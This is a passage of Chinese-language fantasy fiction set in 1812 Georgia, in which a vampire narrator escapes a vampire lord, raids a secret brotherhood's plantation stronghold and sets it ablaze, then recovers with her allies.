我向左急转，穿过车流，在那个暴徒快要抓住我的时候，拐进了一条小路。我闪过一匹从旁边过来的马。而那个暴徒，身体重得多，直接撞上了马。一声痛苦的嘶鸣和一连串咒骂声告诉我，我争取到了几秒钟的时间。我继续向前跑，再次转向南边，在人群中穿梭。 “她在那儿！” 我回头一看，惊讶地发现有六七个骑手朝我冲过来。这下事情变得更复杂了。 我集中精力听周围的声音。我们离一个市场不远了。如果我能坚持跑到那里，有望在摊位间甩掉他们。 我压低身子跑，避开他们的视线，在车流和人群中穿梭。追捕我的人很难跟上我的脚步，直到他们的首领直接不顾阻拦，从一群奴隶中间挤了过去。就在他快要追上我的时候，我跳起来，抓住一个高高的栅栏，翻进了一个花园。我一刻也不停，斜着穿过精心照料的菜地，把一个保姆和一只小狗吓得不轻。没时间停下来了。我翻过对面的墙，进入了一条窄得连马车都过不去的小巷。 有什么东西让我回头看了一眼。 那个绕着房子骑马的人发现了我，催马小跑着追过来。从他脸上，我看到了胜利的嘲笑和轻蔑。 “真相必将大白！”他狂热地大喊。 我没有动。 一种沉重感向我袭来，一种无可逃避的感觉。追捕者越来越近。当他离我只有十五步远的时候，现实仿佛停顿了一下，他右边的墙突然像碎木片的暴雨一样炸开了。 有什么东西直接冲破了墙壁。 等碎片落定，一个高大的男人正掐着那个暴徒的喉咙。马倒在地上，死了。 这个新来的人穿着华丽，面容带着贵族气质。他的脸如梦如幻，透着王者风范，棕色的眼睛带着强者的傲慢，紧紧盯着他的猎物。他开口说话时，温暖的声音穿透城市的喧嚣，清晰得超乎寻常。 “下午好，先生们。你们终于现身了。” 然后，他收起了隐藏自己气息的东西。 一股冰冷、压倒性的力量向我袭来。我认出了这种独特的感觉，就好像站在凛冽的寒风中，狂风直面呼啸而来。 哦，不。 那是一个来自加的斯（Cadiz）的吸血鬼领主，货真价实的。 就在其他追捕者进入小巷的时候，我转身就跑。一个男人跟着这位领主，从他刚刚在别人房子上撞出的大洞里走了进来。这个新来的人稍微矮一些，胸膛宽厚，长相也没那么英俊。这个吸血鬼只是瞥了我一眼，就转向了冲过来的骑兵。我开始逃跑的时候，听到了他说的话。 “抓住那个女孩，把她活着带到我面前。” “是，主人。” 然后我又开始了逃亡。太棒了，居然碰到了一个真正的领主。如果说我之前还想要点刺激，现在可算是如愿以偿了。要是这个男人靠近我，我就死定了，我根本没有一丝胜算。 我继续向南跑，速度快到接近会引人怀疑的程度。只要我看起来还像个人类，或许他们就觉得不值得费力气来抓我。在我身后追的也是一个人，但我能从灵魂深处感觉到，他是那位领主的手下。 我本该庆幸追我的不是吸血鬼，但我并没有这种感觉。他能得到主人的信任，原因很快就显现出来了，他在城市里行动的能力简直不可思议。我根本比不上他，我就是缺乏经验。我绕着摊位跑，他却直接跳过去；我从马旁边经过，他却能从马肚子下面滑过去。他脚步稳健地避开箱子、盒子和大包小包的货物，优雅地绕过人群。 我甩不掉他。 更糟的是，我根本没办法伤害他。一想到要这么做，我整个人都抗拒。我甚至连往他路上扔东西都犹豫了。绝望之中，我开始专注观察人群的动作。我的感知慢了下来，我沿着人群移动后留下的空隙跑，贴着人群边缘，从马车旁边穿过。即便如此，就在他快要扑到我背上的时候，一个扛着一箱酒瓶的大汉突然转身，和他撞了个满怀。 两人倒在地上，四肢交缠，周围是破碎的玻璃。我在消失在夜色中的人群里时，还能听到他们的争吵。 “看着点路！” “对不起，先生！我必须找到那个……” “砸了东西还想跑？怎么不干脆去我家睡我老婆啊，你个混蛋！” 这救援来得可真是时候。等等，我闻到血味了？亵渎啊，我们伤到他了。不，不！他没事，肯定没事。求你了…… 啊，该死。 他的痛苦、惊讶和窘迫肯定通过某种联系传了出去，因为有一股冰冷、强大到难以想象的力量，像自然灾害一样沿着大街冲了过来。我觉得他是在房顶上跑。该死，我得赶紧摆脱困境，现在就摆脱！ 我弯着腰，以极快的速度冲向码头，一刻也不停歇。我身后的那个追踪者停了几秒钟，可能是去查看他同伴的情况，然后又继续追我。 真倒霉，在码头终于映入眼帘的时候，我把速度提到了略高于人类极限的程度。石砌的路面在港口边缘戛然而止，大大小小的船只在平静的水面上慵懒地漂浮着。我知道自己肯定来不及跑到那艘划艇那里了，于是右转。幸运的是，这个时间人不多，我赶紧躲到一堆箱子后面，然后翻过码头边缘。我用带爪子的手抓住墙壁，慢慢下到水里，把装文件的小公文包顶在头上。 几秒钟后，那位加的斯领主落在了街上。他的气息像冬日里的小太阳一样爆发开来，我紧紧贴着砖墙，祈祷着洛斯给我的符文能发挥作用。我一动不动，甚至不敢呼吸，连眼睛都闭上了。 “散开，搜查那些船。” 这个人说话声音从不提高，但却总能让人听得清清楚楚。我没听到其他脚步声，这意味着他是在向吸血鬼们下命令。 此刻，我脑海里浮现出洛斯说过的一些脏话，要是说出来肯定特别应景。 我得阻断他们的视线。我看到一块漂浮物，小心翼翼地把珍贵的文件放在上面，然后完全潜入水中，脸朝上，躲在漂浮物下面。 码头边缘在污水中变得扭曲，但我能看见上面的情况，而他们看不到我。我以极其缓慢的速度，沿着墙壁向目的地漂去。每次有影子遮住光线，我就立刻停下来。我无声无息地从船头下、木梁间，还有一堆堆杂物中间穿过。 突然，一双靴子出现在我正上方。 我僵住了。 求你了，别往下看，别往下看…… 过了一会儿，在离我右手不到一臂远的地方，水面泛起一阵波动。 啊，看来有人在对着我撒尿。太棒了。要是再感觉到一股暖风吹来，今晚可就真是 “完美” 了。 这个无意中冒犯我的人抖了抖…… 那东西，还吐了口唾沫，然后离开了。我不禁想，周围这么多棉花包，要是把整座城市烧个精光，这几率有多大呢？我是真的很好奇。 至少他不是那些吸血鬼中的一员。 幸运的是，剩下的路程还算顺利。不过，我倒是好好体验了一把查尔斯顿人都往海里扔了些什么东西。算了，不提火烧的事了，我现在真想把这里的所有人都活剥了，用他们的皮缝一面大旗，上面写上：“禁止乱扔垃圾”。 我需要洗个澡。 我也需要把这些事都忘掉。 最后，我终于游到了划艇边，把它向南拖了五十米，才敢爬上去。又拼命划了十五分钟，才到达南岸。谁能想到一条河会这么宽呢？ 当我看到那两盏蓝色灯笼时，差点哭出来。洛斯和道尔顿一脸担忧地等在那里，看到我后，脸上的担忧瞬间变成了如释重负的神情。 我下了船，又在水里浸了一下才走到他们身边。洛斯从划艇上拿起公文包，道尔顿则静静地等着。 “今晚过得很漫长吧，女主人？” “我不想提。” 我真希望这一切都是值得的。 38.火烧猪群的意外突袭 1812年8月3日，希金斯维尔。 我环顾着洛斯的三号书房，他通常用这个房间来存放物品和进行长期实验。如今，这里已被清理干净、腾空，供我开展首个完整项目。我曾多次开展自己的研究、撰写论文并进行实验，但这次截然不同。这一次，我要从头到尾负责这个任务。 这是个怎样的项目啊！要与神秘的新光兄弟会正面交锋，阻止他们实现邪恶的目标。 我绝不容忍这种对手的存在。 遗憾的是，目前这个房间大部分地方还是空荡荡的，不过这种情况很快就会改变。 我们有一张南海岸的简易地图，上面在查尔斯顿插了一枚大头针，在其他城市也有几枚试探性的大头针，标记着新光兄弟会可能出现的地点。 我们有一份人员名单，从银行家到军官，这些人与该组织可能存在关联，或者已证实有关联。 我们掌握了货物、人员和资金的流动情况，可惜大多已经过时。 最后，我们知道了他们目前活动的目标，以及詹金斯丧命的原因。他的最后笔记提到，有一场拍卖会要出售一套属于安德鲁·埃克塞特的手术器械（基本完好），还有一份1792年“勒卡迪亚号”前往新奥尔良的航运清单。 这位已故的军官提到，大多数成员对整个组织的计划知之甚少。所以，我没有盲目地从一个假定的地点辗转到另一个地点去接触他们，以免留下血腥的痕迹。这一次，我决定采取巧妙的策略，让道尔顿去查阅新奥尔良港务局的档案。 这次他独自前往。 “我随时可以出发，主人。” 我的下属道尔顿看起来有些疲惫。他已经连续骑了三天马。他最近留起的小胡子乱糟糟的，那双琥珀色的大眼睛布满血丝。 “先汇报一下情况，然后去休息会儿。” “好的，主人。”他回答道，努力没让自己翻白眼。 说实话，道尔顿看起来比我稍大一些，就像个兄长。这让他在公开场合更大胆了，甚至还敢给我提建议！他可真大胆…… 我按铃叫洛斯过来，很快，我们就开始交流。 “我没费什么力气就拿到了我们想要的信息。负责管理档案的是个叫基尔布赖德的老头，头脑很敏锐。首先要知道，我们不是第一个打听‘勒卡迪亚号’消息的人。不到一个月前，有几个形迹可疑的人来打听过这艘船。他虽然礼貌地回答了他们的所有问题，但那些人的可疑行为还是引起了他的警觉。你猜怎么着，两周前他那里遭贼了：两个持刀的蒙面人闯了进去。他用火器打伤了其中一个人的脑袋，还用自己在轻龙骑兵团时的马刀刺死了另一个。奇怪的是，这两个人很强壮，而且他们什么都没偷。很明显，他们是想让他闭嘴。” “干得很出色，我的下属。如果我们以后还需要他帮忙，可能得给他提供一些保护。” “没必要，主人，他知道的我都知道了。” 道尔顿挺直身子，清了清嗓子，接着说道： “英国商船‘勒卡迪亚号’原定于1792年10月抵达新奥尔良，但它始终没有出现，人们都以为它连同船上所有人员一起沉没了。之前一次航行的船员名单上提到，安德鲁·埃克塞特是船上的医生。这意味着新光兄弟会在追寻船上的某样东西或者某个人，而且肯定是找到了沉船的位置，那套手术器械才会重新出现。” “我查过货运清单，没发现什么有用的线索。” “档案和我们找到的笔记里都没有提到这艘船搭载乘客的信息，但这并不代表没有乘客。我怀疑‘勒卡迪亚号’可能被走私者，甚至是新光兄弟会用来运输敏感物品或人员。这里的非法运输过去有，现在也依然很猖獗。” “所以，我们知道他们在追寻船上运输的东西，但还是不知道那究竟是什么。” “是的，姑娘，确实还不清楚，但先让这小伙子说完。” 道尔顿点头表示感谢，然后继续说道： “幸运的是，档案管理员活了下来。他认出袭击他的死者就是之前来问他问题的人，还向警卫报了案。然而，执法人员看到尸体后，就认为这件事已经了结了。” “果然是老样子。” “确实。他们放弃了调查，但基尔布赖德没有。有人企图杀他，他心里自然不痛快。他四处打听，发现那些闯入者是从北方的米利奇维尔坐直达马车来的。” 我们去过这座新建的城市几次。在我开始和洛斯一起生活后不久，这座城市才建立起来，在它还处于发展初期的时候，就被定为了州首府。 “他没有继续追查下去，对他来说风险太大了。” “那我们有两件事要去查清楚。第一，我们要找出是谁把埃克塞特的手术器械卖给了那场拍卖会；第二，我们要去米利奇维尔，弄清楚那些暴徒是从哪里来的，然后问他们几个关键问题。” “姑娘，我得去萨凡纳取些订单，我会在罗森塔尔财团停留，请求他们帮忙。有人举办拍卖会，他们不可能毫不知情。至于你，你应该亲自去问那些问题，自从那次抢劫行动回来后，你就一直有点紧张。” “我都说了那不是……啊！好吧，我想你说得对。” 当时我像只蟑螂一样逃跑躲了起来。我原以为没什么大不了的，但我的直觉告诉我并非如此。我需要做点什么转移一下注意力。 “好吧。道尔顿和我明晚出发。” 1812年8月6日，佐治亚州米利奇维尔。 “亲爱的玛格达莱娜，如果没有你的帮助，真不知道会发生什么。你和你的丈夫让我们由衷地感激。”我一边说着，一边轻轻拍了拍这位女士的手。 此刻，我正扮演着萨凡纳·兰福德夫人的角色。我身着带有微妙财富标识的浅蓝色旅行装，这身保守的服饰加上我无可挑剔的坐姿，让我看起来就像一个名门望族的后代。我自信地坐在餐厅中央，像一位主持宫廷事务的贵族夫人，把这场伪装演绎得十分完美。可怜的玛格达莱娜脸颊红润，穿着一件像麻袋一样的棉布裙，遮挡着隆起的腹部。他们是一户朴实的人家，靠诚实的劳动为生。尽管天色已晚，她的丈夫还在铁匠铺忙着修理我们的马车，而她则尽力扮演着热情好客的主人角色。她没注意的时候，一群孩子从门口好奇地探出头来张望。 “别这么说，”她红着脸说道，“这是我的荣幸，嗯，我很高兴能接待您。哦，亲爱的，请原谅我招待不周，我能提供的东西太少了！” 这位女士显得十分慌乱。 “应该是我为贸然来访道歉，唉，人算不如天算啊。” 其实只要我不太纠结自己说的“主”是谁，我还真能引用几句《圣经》里的话。我想，说出“上帝”这个词对我来说永远是不可能的。 我们闲聊了一会儿，其间我夸赞她把家里收拾得干净整洁，这体现了她无可挑剔的道德和价值观。玛格达莱娜很喜欢成为谈话的焦点，尤其是在我这样尊贵的人面前。她滔滔不绝地说着米利奇维尔和这里最声名狼藉的居民的事情。最后，好奇心驱使她问出了自从邀请我进门后就一直藏在心里的问题。 “您来我们这座美丽的城市是有什么事吗？” “哦，”我不屑地哼了一声，“是一件非常糟糕的事情，但我不想用这些细节来麻烦您，我甚至不知道提这些是否合适。” 我几乎能看到她那双诚实的眼睛里燃起了八卦的火焰。一位深夜到访的阔绰客人？一件糟糕的事情？要是把这些有趣的小道消息分享出去，她在教区的名气能维持十年。 “兰福德夫人，您别顾虑我，我们这儿的人都很能吃苦，我肯定听过更糟糕的事情。” 我也这么觉得。我装作不情愿地诉说着自己被骗的愤怒和不满。两个来自米利奇维尔的男人，住进我们家经营的小旅馆，最后带着保险箱跑了。他们怎么敢这么做！什么样的无赖才会做出这种事？ 一开始，玛格达莱娜既羞愧又生气，直到我提到每个城市都有不受欢迎的人，这并不会影响那些守法公民的声誉。我们接着开始抱怨印第安人的袭击，后来我明确表示那些无赖显然是欧洲人的后裔。不，他们不是混血儿。是的，他们是纯种白人，不是混血白人。他们是爱尔兰人吗？有可能。 玛格达莱娜兴奋起来，开始滔滔不绝地列出一长串她看不顺眼的人，从嫁给天主教徒的表哥，到那个偷东西的鞣皮匠。最后，她提到了仓库里，甚至种植园里的一些声名狼藉的人。 就在这时，她突然害怕地停了下来。 “如果那些人来自巴克斯特庄园，我求求您，您一定要放弃追查。” “呸，我有治安官陪着，有什么好怕的？” “不，小姐，您不能这么想。我们这儿虽然是首府，但毕竟还是个边境小镇。什么样的人都有，甚至有最坏的那种，而且这里流传着一些可怕的传言。有人说他们是食人族！” “他们吃人？！太可怕了！” 呵。 “那些只是无聊的谣言，小姐，别当真，但我还是建议您格外小心。如果您消失得无影无踪，治安官的警徽也没什么用。” “我会考虑的。我们别谈这个了，”我带着一丝暗示说道，“聊聊更开心的事吧。你说过你喜欢缝纫？” 我的女主人给我看了她的一些作品，担心我会挑剔。这些作品针法精细、做工精湛，就是缺乏想象力。我向她表示祝贺，她看起来开心极了。 一个小时后，道尔顿和玛格达莱娜的丈夫告诉我们马车修好了。我借口城里有人在等我们，婉拒了他们让我们留宿的邀请，很快就离开了。道尔顿给他们留了一笔合适的小费。 “主人，我们耽搁了些时间，旅馆的主厅可能没位置了。我明天会悄悄去打听一下。” “我可没闲着，我的下属，我们已经有地方可以去查探了。” 我们成功找到了新光兄弟会在巴克斯特庄园的据点。这里的成员表现得很排外，充满敌意，所以邻居们都离他们远远的。然而，仔细观察后，我发现了他们的徽章、奇怪的握手方式，还有很多其他行为，这些都暴露了他们的身份。他们甚至一点都不掩饰，也确实没有理由掩饰。巴克斯特庄园占地至少四十英亩，有很多暴露的入口，还有好几支巡逻队。在这里干活的人不少于二十五个，他们三人一组，还带着攻击犬。这里与其说是个藏身之处，不如说是座堡垒。 正常情况下，这并不会让我太困扰，但我们现在是想获取情报，我可不想通过血腥手段来达到目的。我们需要谨慎行事，想办法成功潜入这个地方。绑架并审问一个可能知道些什么的人，这仍然是个艰巨的任务。唯一表现出有领导权威的是巴克斯特本人，可他很少离开自己那座巨大的房子。 看来是时候实施一次绑架行动了。 1812年8月9日，佐治亚州米利奇维尔。 我在道尔顿前面十步远的地方，借着阴影前行。我带着他穿过大片的橡树林和甘蔗地。在庄园的外围，这里大部分地方都荒无人烟。但这种情况很快就会改变。 我听到一个声音，轻轻咂了下舌头。身后传来两声回应的咂舌声。我们往树林深处退去。 在我们前方，三个卫兵和一条狗正沿着小路巡逻。尽管已经很晚了，他们还是全神贯注地执行着任务，灯笼的光线扫过周围的每一个角落。他们一言不发。 为了这次潜入，我在脖子和手腕上擦了薄荷油。这味道很浓烈，应该能骗过猎犬足够长的时间，让我们不被发现。但不知为什么，这香味消散得很快，我怀疑这和我的体质有关。 巡逻队没有察觉到任何异常，离开了。 我又等了三十秒，才示意道尔顿可以继续前进。计划很简单。我会带他到庄园，因为我需要邀请函才能进去，所以他要独自进入。道尔顿会用洛斯制作的一个简单魔法道具控制住巴克斯特，把他带出来，同时收集我们能找到的任何罪证文件。然后我们逃走，在一个偏远的狩猎小屋审问这个人，之后也会在那里处理他的尸体。这是个基本的计划，出错的可能性很小。但前提是我们至少要在抓住目标之前不被发现，不过我并不担心。如果有必要，我还有一枚□□，准备扔到我们在房子附近找到的糖蜜仓库上。如果需要分散敌人注意力，随后燃起的大火应该能帮上大忙。 我绕过最后一片田地，走上一条通往庄园侧面的小路。道尔顿跟在我身后，我加快了脚步。突然，我脚下传来金属的断裂声。 我惊恐地跳了起来，还没等我落地，刚才我腿所在的位置就被钢牙夹了个正着。这是什么东西？！ “主人？”我的下属轻声问道。 我退回到他身边，在他耳边小声说： “捕熊夹！路上有捕熊夹！这些人也太疑神疑鬼了吧？！” “似乎还不够疑神疑鬼，不然也不会被我们摸到这儿。” “哼！就这些笨蛋的记性，我很惊讶他们每年居然没少有人丢条腿！” “这些组织的人员流动确实很大。我们还要继续吗？” “继续，我会留意新翻过的土地，你也要小心点。” 道尔顿微微露出一丝笑容。 “我稍微偏离点小路走就行。要是再看到你像被烫到的猫一样跳起来，我就知道你又踩到捕熊夹了。” 哼！他以前多可爱啊，总是带着崇拜的眼神仰望着我。现在这是怎么了？果然，太熟悉了就会让人没了敬畏之心。 我们继续悄无声息地前进，直到来到一道围栏前。庄园就在我们眼前，在庄园的中央，是巴克斯特那座殖民风格的大房子。 整个区域平坦开阔，没有任何可以藏身的地方。修剪整齐的草坪就是为了防止有人偷偷潜入。不出所料，我看到屋顶附近有个哨兵，还有三组巡逻队带着狗在周围巡逻。每隔一段距离，墙上的壁灯就会提供稳定的照明。 这里没有什么好的潜入办法，看来我得强行突破他们的防线了。 我示意道尔顿待在原地，然后自己贴着地面向前爬。我沿着一条曲折的路线，缓慢而又耐心地移动着。我避开光线最亮的地方，时刻留意着哨兵的动向。 只要哨兵看向别处，我就加快点速度，但也不会太快。人很容易察觉到视线边缘的快速移动，没必要为了节省二十秒而犯错。 经过几分钟的缓慢前行，我突然停住了，因为又有一队巡逻队从房子拐角处出现。他们的路线会让他们直接走到我面前。我紧紧贴在地上，等待着。 他们从我身边走过，眼看就要走远了，这时他们的猎犬却突然停下来，对着我咆哮。 啊，这可有点麻烦了。我迅速反应过来，伸手拿过香水瓶打开，在地上洒了一些。不一会儿，那只倒霉的狗就不再咆哮，开始打起喷嚏来。 谢天谢地，我处在上风口。 那些人嘟囔着，拉着还在呜咽的狗继续往前走。 我深吸一口气，差点就松了一口气，这是我一直没改掉的习惯，可紧接着我就后悔了。那股刺鼻的薄荷味让我难以忍受。呸！要是在本世纪结束前我再闻到薄荷味，那就太早了！ 当最后一个火把消失在拐角处，我立刻冲向前，开始攀爬通往哨兵岗亭的灰泥墙，那不过是一个改造过的阳台。我可不想被他盯着，只允许有一个人关注我。 我跳过阳台边缘，就在他惊讶地张大嘴巴时，我们的目光交汇了。我紧紧盯着他，让他无法移开视线，同时掐住他的脖子。等他失去意识后，我松开手，抹去了他这段记忆。我希望尽可能不留下任何证据，这样这个人只会以为自己睡着了。 做完这些后，我拿出一个类似口哨的东西吹了起来。夜空中回荡着捕食者的叫声。 我看着道尔顿的身影冲了过来和我会合。他中途停下来，趴在地上让一队巡逻队通过。他穿着深绿色的外套，在短草地上几乎看不出来。 他跑到墙边时，我放下一根绳子，把他拉了上来。他很快和我会合，然后立刻打开通往屋内的窗户。不出所料，窗户没锁，方便哨兵进出。 道尔顿悄悄潜入屋内。 我在外面等着。只有住在房子里的人邀请我，我才能进去，只要房子里还有人活着。我们推测巴克斯特的书房很可能在靠近屋顶的一个房间，因为那个房间有时深夜还亮着灯。道尔顿会先去那里找，然后再去卧室找找巴克斯特本人。 我静下心来等待。 这是我最讨厌的部分。我不是在等待猎物，也不是在等待机会，而是在等待一些我无法控制的事情，我讨厌这种感觉。尽管经过我和洛斯的训练，道尔顿是全国最出色的潜入者之一，但这也无济于事。我只知道他在里面，而我在外面。厚厚的墙壁挡住了他的心跳声，我根本听不见。 他现在已经长大了。我不会去束缚他。与此同时，我留意着周围的动静，但除了巡逻队，没有其他声音。 直到我听到一声枪响。 即使枪声被墙壁 muffled，在夜空中还是清晰可闻。 接着紧接着，是短暂的寂静，仿佛整个世界都在屏息，所有人都停下来确认自己听到的声音。随后，一切都乱套了。 在远处，朝着我们认定为兵营的方向，一阵急促的钟声响起。四处传来呼喊声，火把的光芒将夜晚染成了红色。我能看见远处灯笼闪烁，人们举着灯笼朝我们冲来。最靠近我们的那些人眼看就要跑到空地了。隐藏在墙边的宅邸正门，被愤怒的人们猛地撞开。 我能通过我们之间的联系感觉到，道尔顿没事。但如果我们现在逃跑，他就危险了。在他们向我们开枪之前，我不可能把他们全都解决掉。我们需要制造一个 distraction。 我忐忑地拿出事先准备好的□□，取出一根火柴划着。 来吧，阿丽亚娜，只是一场小火而已，这会帮到我们的，真的没必要害怕…… 啊！ 我强忍着内心的恐惧，点燃了引信，引信溅出愤怒的火花，我把□□朝着草坪边缘的糖蜜筒仓扔了过去。 □□在空中划过一道美丽的弧线，留下一串红色的余烬。它落地后，一小滩炽热的液体顺着筒仓壁流了下来。 接下来发生了什么，我不太清楚。我想可能是碰到了一处早已存在的泄漏点。不管是什么原因，火势以惊人的速度沿着一条线蔓延到地面，又向四周扩散开来。仅仅过了一会儿，整个建筑就陷入了火海。当我们看不见的一个谷仓也着火时，警报声变成了纯粹的恐慌尖叫。一阵刺耳、震耳欲聋的嘈杂声很快淹没了其他所有声音。 这是我这辈子听过最可怕的声音。 我突然有一种似曾相识的感觉，就好像是多年前发生过的某件事的回响…… 希梅纳提到过的某件事…… 我想是在她给我的建议 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我继续向前冲。我必须保护他，所以这些人必须死。 他们看到了我，也做出了反应。我差点惊讶得停下来。他们的速度快得超乎常人！ 当然，还是比不上我快。 我朝着第一个举枪瞄准的人冲过去，就在我快要冲到他面前时，筒仓爆炸了。 一瞬间，黑夜亮如白昼。接着，爆炸声和热浪向我们袭来。我们都被冲击波掀翻在地，翻滚出去。燃烧的碎片像雨点一样四处飞溅。远处，一些树林也燃起了大火。 有个热乎乎的东西落在我的背上。好烫，烫死了！我在地上不停地翻滚，免得被烧成灰烬。刚燃起的火苗很快就被扑灭了，但还是疼得要命。 必须赶紧离开这里。该死。我拉起摇摇晃晃的道尔顿，拖着他往前走。一个卫兵看到了我，伸手去拿枪套。 你想得美。 我跳到他身上，掐住他的脖子，然后吸食了他的生命能量。也许这样能减轻点痛苦。 太少了。这个人几乎没有什么生命力！我吸过的那些年迈的老人，生命力都比他强。算了，没时间了。我们现在必须离开！ 道尔顿已经快跑到树林边缘了。我迅速用刀割开巡逻队其他人的喉咙，这样也能掩盖咬痕，然后我追了上去。我们躲进了树林里。两边的灌木丛已经被熊熊大火吞没。红色的余烬冲向天空。 我们一言不发地拼命跑，只有在遇到奔跑的人群时才停下来避让。谢天谢地，道尔顿的伤并不严重，而且他已经止住了血。最后，我们成功逃脱，回到了藏身之处，在那里躲了一夜。 1812年8月13日，佐治亚州希金斯维尔。 “姑娘，我当时只是说让你去‘问几个关键问题’，可没说让你去炸了他们的地盘！” “那是个意外！我只是想制造一个 distraction！都怪那些该死的猪！” “猪？你把猪点着了？”洛斯眼里满是惊恐地问道。 “你们怎么都对这些该死的猪这么在意？啊？” “你绝对不能把猪点着！哪怕是为了制造 distraction也不行！从来都不会有好结果！” “我都说了这是最后一次解释，那是个意外！” “那里有猪，而你把那里点着了！你还能指望发生什么！？” “别再提那些该死的猪和火了！我知道错了！” “好吧，好吧。”洛斯泄了气，回答道，“反正大家都得经历一次才能吸取教训。” “啊！” 我沮丧地举起双手。我精心策划了这次行动，结果却一塌糊涂。我重重地坐在椅子上。道尔顿没有和我们在一起，按照洛斯的建议，他受伤了，还吸入了烟雾，现在正在床上休息。 “到底发生了什么？” “都是巴克斯特，我们的目标，那个据点的头目。他抵抗了你做的魔法道具，还制服了道尔顿。甚至在我下属举着手枪的情况下，他还敢冲上去。” “他很强壮吗……” “不。巴克斯特身高只有五英尺二英寸，大腹便便，还超重，而且他还抽烟。外面那些新光兄弟会的成员也展现出了超乎常人的速度，我觉得和刚变成吸血鬼的新手差不多快。” 夏洛特就有那么快，尽管她在吸血鬼里是最没本事的那种。 “你之前不是说查尔斯顿的那个新光兄弟会成员比强壮的人类还要快吗？” “是的，而且我吸食那个卫兵的时候，发现他的生命力极其微弱，就好像快要死了一样。” “你觉得……” “是的，他们肯定有办法能暂时提升身体素质，但我猜这会大大缩短他们的寿命。我很好奇他们是怎么做到的。” “我觉得解剖一个也许能揭开这个谜团。” “哦，要是能给你弄来一个，我会很乐意的。从巴克斯特的情况来看，他们都是狂热分子。难的是抓一个活的。不管怎么说，这次突袭也不是完全没有收获。我们确实弄到了一些东西。” “哦？说来听听。” “道尔顿偷到了一些文件，都是加密的，我已经开始破解了。看起来像是一种简单的替换密码。即便如此，也不能保证能从中找到有用的信息。” 我耸了耸肩。 “他还从巴克斯特那里拿到了一个新光兄弟会的徽章，还有一枚特别的戒指，而且我们观察并记录下了他们使用的一些信号。有了这些，如果我们能找到他们的其他据点，或许就能成功潜入。” “这还不算太糟。我刚才有点着急了。以我的经验，只要能全身而退，任何一次突袭都是成功的。” “我可没那么肯定。” 我沮丧地摇了摇头。 “在我看来，这次行动简直是惨败。我原以为自己又快又有效率，结果却毁了我们获取情报的唯一机会，就因为我对目标判断失误。要是我能更有耐心、更小心一点，也许就能用魔法套出更多信息。” 我沉重地叹了口气。 “一切都搞砸了。这是我第一个真正的项目。我还以为自己准备好了……” “你准备好了。阿丽亚娜，听我说。你把缺乏经验当成了缺乏天赋。你可能很擅长做一个吸血鬼，但这并不会让你瞬间变成一个无所不知的间谍大师，明白吗？你是在一个体面的家庭里长大的大小姐，又不是骗子或者江湖术士。给自己点时间，你肯定能行。” “我们可能没时间了……” “我们有时间。我会帮你的。我们一起就能成功。我们会把他们找出来，从我们的地盘上彻底清除。你觉得这次获取情报失败了，但在我看来，这是一次部分成功，而且还把他们的一个主要据点连根拔起。毫无疑问，这会让他们元气大伤，心生畏惧。你和另外一个人，不到一周就做到了这些。” 洛斯总是这么支持我，或许这正是我现在需要的。 “也许你是对的…… 没错，老纠结于我的错误也没什么用。我们还有很多事可以做。说到这个，你查出那套手术器械的来历了吗？” “算是有点进展。艾萨克的接替者知道我在说什么。顺便说一句，他是个人类。他说那套器械是在一场半合法的拍卖会上卖掉的。很多物品很可能是走私来的。他们也在调查这件事，等他有了更多消息，会要求我们帮个忙，作为交换，他会把知道的都告诉我们。” “那好吧。在此期间，还有很多文件要研究。我该开始工作了……” “我跟你讲过我第一次真正的突袭行动吗？” 我带着不小的好奇心看向他。洛斯对于自己的过去总是守口如瓶。 “我们登陆后，我找了个地方想自己待会儿，你懂的，想有点私人空间。我们在船上憋了两个星期，我当时还年轻。总之，我正忙着的时候，营地遭到了袭击。我们毫无准备。正常情况下，我们可能会损失一半的人手。我连裤子都没来得及提上，就从侧翼向敌人冲了过去。我又害怕又愤怒地大喊着，下半身完全赤裸，还…… 处于兴奋状态。” 我的脑海里不由自主地浮现出一些画面，真希望自己没想象这些。 “我猜你说这些是有什么深意吧？” “是啊，我当时觉得自己表现得很糟。我把同伴们丢在一边去…… 解决个人需求，然后毫无计划地冲向敌人，关键是还…… 那种状态，这么说吧，下身晃荡着。” “洛斯！” “结果他们都跑了。所有人都跑了。一个半裸的疯子，下身硬挺挺的，大喊着冲向他们，他们吓得惊慌失措、四散而逃。我以为自己搞砸了，但没想到这对他们造成的心理震慑大得惊人。这件事成了家族里的传奇故事。我想说的是，不要只看你自己对事情的看法，也要想想敌人是怎么看的。他们的据点被烧成了平地，很多人死了，而这一切都来自一个神秘的敌人。别表现出软弱，在接下来的战斗中，你就能利用这一点。把看似失败的局面变成一场大胜。” 这…… 真是个不错的建议。 “谢谢你，洛斯，我真的很感激，虽然你对那些事的描述……” “哈哈，我一说关于裸男的事你就害羞，就让我这个老头子找点乐子吧，行不行？” “我就知道。”我嘟囔着，但并没有多少埋怨的意思。 39.姐妹血盟与刺杀 我们在巴克斯特庄园找到的文件十分有用。看来，我们发现了兄弟会在佐治亚州的主要行动基地。遗憾的是，我们没能将其首领完整抓获，但这些文件让我们收获颇丰。 许多笔记本详细记录了物资和资金向各个地方分支的转移情况。通过核对那些被我们 “说服” 的商人分享的记录，我们在一个月内确定了三处藏身之处。道尔顿成功扮成兄弟会成员，混入了其中一处，并在我们捣毁它之前，从那里了解到了一些情况。我们证实了他们正在追踪 “勒卡迪娅号” 的残骸，这艘船曾被他们在伦敦的姐妹组织用来运送一件极为重要的遗物。我敢肯定，这就是纳肖巴所说的 “打破一切的钥匙”。 不幸的是，很快我们就发现，这些兄弟会成员不过是低级特工。他们所知有限，仅够完成任务，这种谨慎的策略证明了我们的敌人在保密工作上经验老到。我们仍然不清楚他们的领导层是谁，他们的目标是什么，甚至这件遗物究竟是什么。他们的一些重要成员可能知道得更多，但要对付这些公众人物，还需要做些准备。我可不想留下一堆被谋杀的知名目标，没有什么比这更能吸引那些我无力对抗的强大势力的注意了。 9月9日，佐治亚州希金斯维尔。 我正在策划室查看笔记，突然感觉到道尔顿的惊慌。我冲向门口，在入口处遇到了他。 “怎么了？” “主人…… 外面有个吸血鬼！” 啊。 “就一个？” “我只看到一个。他们戴着面具，穿着灰色衣服。” 我原本近乎恐慌的心情立刻平静下来，开心地笑了。 “你是说灰色？” “主人？” 我打开门，看向这位新来的访客。她戴着面具，身着一件精致的紧身鳞片甲。她的护臂和腰间的剑散发着强大魔法的低语，那把剑我一眼就认了出来。 “希梅纳！” “你不打算请我进去吗？” 她的声音清晰，带着一丝笑意，但听起来也很疲惫。 “当然，我竭诚欢迎你。” “谢谢你，阿丽亚娜。” 我带着她上楼，道尔顿去通知洛斯了。 “你有仆人了？” “是的。” 